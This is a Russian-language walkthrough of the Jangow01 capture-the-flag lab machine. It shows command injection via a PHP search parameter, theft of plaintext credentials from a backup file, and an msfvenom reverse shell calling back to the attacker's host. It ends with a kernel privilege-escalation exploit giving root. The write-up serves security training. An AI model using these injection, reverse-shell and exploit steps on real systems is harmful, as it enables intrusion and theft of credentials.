Обзор сервисов
В моем случае IP-адрес машины 192.168.56.118
. Для начала посмотрим, какие сервисы есть на машине:
$ nmap -sV -sC -Pn -p1-65535 -oN 192.168.56.118 192.168.56.118
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-20 07:45 EDT
Nmap scan report for 192.168.56.118
Host is up (0.00078s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18
| http-ls: Volume /
| SIZE TIME FILENAME
| - 2021-06-10 18:05 site/
|_
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Index of /
Service Info: Host: 127.0.0.1; OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.80 seconds
Открыты FTP (21) и HTTP (80) порты.
Вебка
Перейдя на вебку, видим листинг с директорией site.
Перейдя внутрь, увидим сайт в стадии строительства.
В коде HTML ничего интересного, зато ссылка Buscar
ведет на http://192.168.56.118/site/busque.php?buscar=
, попробуем ввести туда whoami
:
http://192.168.56.118/site/busque.php?buscar=whoami
Скрипт позволяет выполнять произвольные команды на сервере. Проверим, что у нас находится в каталоге выше:
view-source:http://192.168.56.118/site/busque.php?buscar=ls%20-la%20..
Файл с именем .backup
. Проверим, что внутри:
Мы получили креды jangow01:abygurl69
.
FTP
Попробуем подключиться к FTP с полученными выше кредами:
$ ftp 192.168.56.118
Connected to 192.168.56.118.
220 (vsFTPd 3.0.3)
Name (192.168.56.118:kali): jangow01
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Мы находимся в директории, в которой располагаются данные вебки:
ftp> dir
229 Entering Extended Passive Mode (|||23377|)
150 Here comes the directory listing.
drwxr-xr-x 3 0 0 4096 Oct 31 2021 html
226 Directory send OK.
ftp> cd html
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||39480|)
150 Here comes the directory listing.
drwxr-xr-x 6 33 33 4096 Jun 10 2021 site
226 Directory send OK.
ftp> cd site
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||52167|)
150 Here comes the directory listing.
drwxr-xr-x 3 33 33 4096 Jun 03 2021 assets
-rw-r--r— 1 33 33 35 Jun 10 2021 busque.php
drwxr-xr-x 2 33 33 4096 Jun 03 2021 css
-rw-r--r— 1 33 33 10190 Jun 10 2021 index.html
drwxr-xr-x 2 33 33 4096 Jun 03 2021 js
drwxr-xr-x 2 33 33 4096 Jun 10 2021 wordpress
226 Directory send OK.
ftp>
Сгенерируем реверс шелл:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.101 LPORT=443 -f elf -o shell2
Загрузим его с помощью ftp:
ftp> cd /tmp
ftp> put shell2
ftp> chmod 777 shell2
На локальной машине настроим ожидание подключения:
$ msfconsole
msf> use multi/handler
msf> set payload linux/x64/shell_reverse_tcp
msf> set lhost 192.168.56.101
msf> set lport 443
msf> run
Запустим реверс шелл:
view-source:http://192.168.56.118/site/busque.php?buscar=/tmp/shell2
Эскалация привилегий
Проверим версию ядра:
$ uname -a
Linux jangow01 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
Можем воспользоваться https://www.exploit-db.com/exploits/45010:
# загрузим эксплоит с сайта
$ wget https://www.exploit-db.com/download/45010
$ mv 45010 45010.c
# загрузим эксплоит на машину
$ ftp 192.168.56.118
Connected to 192.168.56.118.
220 (vsFTPd 3.0.3)
Name (192.168.56.118:kali): jangow01
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd /tmp
250 Directory successfully changed.
ftp> put 45010.c
local: 45010.c remote: 45010.c
229 Entering Extended Passive Mode (|||11754|)
150 Ok to send data.
100% |***************************************************************************| 13728 70.38 MiB/s 00:00 ETA
226 Transfer complete.
13728 bytes sent in 00:00 (8.22 MiB/s)
ftp> chmod 777 45010.c
200 SITE CHMOD command ok.
ftp> exit
Скомпилируем и запустим эксплоит:
$ gcc 45010.c
$ ./a.out
$ id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
Флаги
Пора забрать флаги.
Пользовательский флаг
$ cd /home
$ ls
jangow01
$ cd jangow01
ls
user.txt
$ pwd
/home/jangow01
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: enp0s8: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 08:00:27:3e:39:32 brd ff:ff:ff:ff:ff:ff
3: enp0s17: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:ce:ef:43 brd ff:ff:ff:ff:ff:ff
inet 192.168.56.118/24 brd 192.168.56.255 scope global enp0s17
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fece:ef43/64 scope link
valid_lft forever preferred_lft forever
$ cat user.txt
d41d8cd98f00b204e9800998ecf8427e
Флаг суперпользователя
$ cd /root
$ ls
proof.txt
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: enp0s8: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 08:00:27:3e:39:32 brd ff:ff:ff:ff:ff:ff
3: enp0s17: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:ce:ef:43 brd ff:ff:ff:ff:ff:ff
inet 192.168.56.118/24 brd 192.168.56.255 scope global enp0s17
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fece:ef43/64 scope link
valid_lft forever preferred_lft forever
$ cat proof.txt
@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@&&&&&&&&&&&&&&
@ @@@@@@@@@@@@@@@&# #@@@@@@@@&(. /&@@@@@@@@@@
@ @@@@@@@@@@&( .@@@@@@@@&%####((//#&@@@& .&@@@@@
@ @@@@@@@& @@@@@@&@@@@@&%######%&@* ./@@* &@@
@ @@@@@* (@@@@@@@@@#/. .*@. .#&. &@@@&&
@ @@@, /@@@@@@@@#, .@. ,&, @@&&
@ @& @@@@@@@@#. @@@,@@@/ %. #, %@&
@@@# @@@@@@@@/ .@@@@@@@@@@ * ., @@
@@& @@@@@@@@* @@@@@@@@@@@ , @
@& .@@@@@@@( @@@@@@@@@@@@@@@@@@@@@ *. &@
@@/ *@@@@@@@/ @@@@@@@@@@@# @@
@@ .@@@@@@@/ @@@@@@@@@@@@@ @# @@
@@ @@@@@@@@. @@@@@@@@@@@ @@( @@
@& .@@@@@@@@. , @@@@@@@ * .@@@*( .@
@@ ,@@@@@@@@, @@@@@@@@@&*%@@@@@@@@@, @@@@@(%&* &@
@@& @@@@@@@@@@@@@@@@@ (@@@@@@@@@@@@@@%@@/ &@
@ @& ,@@@@@@@@@@@@@@@,@@@@@@@&%@@@@@@@@@@@@@@@%* &@
@ @@. .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%* &@&
@ @@@& ,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%/ &@@&&
@ @@@@@@. *%@@@@@@@@@@@@@@@@@@@@&#/. &@@@@&&
@ @@@@@@@@& JANGOW &@@@
@ &&&&&&&&&@@@& @@(&@ @. %.@ @@%@ &@@@&&&&
&&&@@@@&% &/ (&&@@@&&&
(((((((((((((((((((((((((((((
da39a3ee5e6b4b0d3255bfef95601890afd80709